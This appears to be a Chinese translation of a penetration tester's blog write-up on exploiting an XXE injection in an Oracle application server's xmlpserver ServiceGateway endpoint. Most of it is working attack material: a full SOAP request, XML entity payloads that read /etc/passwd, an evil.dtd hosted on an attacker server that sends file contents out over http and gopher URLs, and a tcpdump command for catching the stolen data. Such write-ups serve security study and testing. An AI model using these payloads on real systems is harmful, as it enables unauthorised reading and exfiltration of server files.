当我在做渗透测试的时候,我找到一个使用oracle 公司产品的网站。
经过一番搜索之后,我找到可以利用的漏洞点:https://www.exploit-db.com/exploits/40590
让我们看一下是怎么利用的:
POST /xmlpserver/services/ServiceGateway HTTP/1.1
Content-Type: text/xml;charset=UTF-8
SOAPAction: #replyToXML
Host: vulnerablehost
Content-Length: 630
<soapenv:Envelope xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd=”http://www.w3.org/2001/XMLSchema" xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser=”http://xmlns.oracle.com/oxp/service/service_gateway">
<soapenv:Header/>
<soapenv:Body>
<ser:replyToXML soapenv:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/">
<incomingXML xsi:type=”xsd:string”><![CDATA[<?xml version=”1.0" encoding=”utf-8"?><!DOCTYPE m [ <!ENTITY % remote SYSTEM “http://attacker/file.xml">%remote;]>]]></incomingXML>
</ser:replyToXML>
</soapenv:Body>
</soapenv:Envelope>
首先,我为了确认这个漏洞,我尝试使用burpcollaborator进行验证。
burpcollaborator给出的的本地服务器链接地址是:
xxe.ik6popcppq2yb37iatqr5tcxzo5et3.burpcollaborator.net
让我们看一下是否在burpcollaborator的DNS和HTTP进行查询的操作
因此,现在,我们可以确定存在xml注入,因为服务器在burpcollaborator上进行了dns和http查询
我尝试使用XXE注入找到一些关键的信息,payload如下所示:
<?xml version=”1.0" encoding=”utf-8"?><!DOCTYPE m [
<!ENTITY % file SYSTEM “file:///etc/passwd”>
<!ENTITY % dtd SYSTEM “http://myhost/evil.dtd">
%dtd;
]]>
其中的evil.dtd
托管在我的服务器上,详细信息如下:
<!ENTITY % all “<!ENTITY send SYSTEM ‘http://myhost:80/%file;'>"> %all;
我们可以提取/etc/passwd
的第一行信息:
现在我们的目标是获取/etc/passwd
中的全部信息,我搜索了关于这个问题的解决办法,其中一种方法是使用ftp服务器并尝试与ftp://myhost:port
连接,但是由于服务器拒绝这种url模式,因此这种方法失败了。
最后,我尝试使用含有gopher的url链接进行操作,因此evil.dtd
的形式如下:
<!ENTITY % all “<!ENTITY send SYSTEM ‘gopher://myhost:80/%file;’>”> %all;
我使用tcpdump
命令对80端口进行扫描
tcpdump -A src host vulnerablehost and port 80 and greater 1000
如上图所示,你可以看到,我们可以使用含有gopher的url提取文件
原文链接:https://medium.com/@osama.alaa/xxe-injection-in-oracle-application-server-11g-cc05f6ab55ab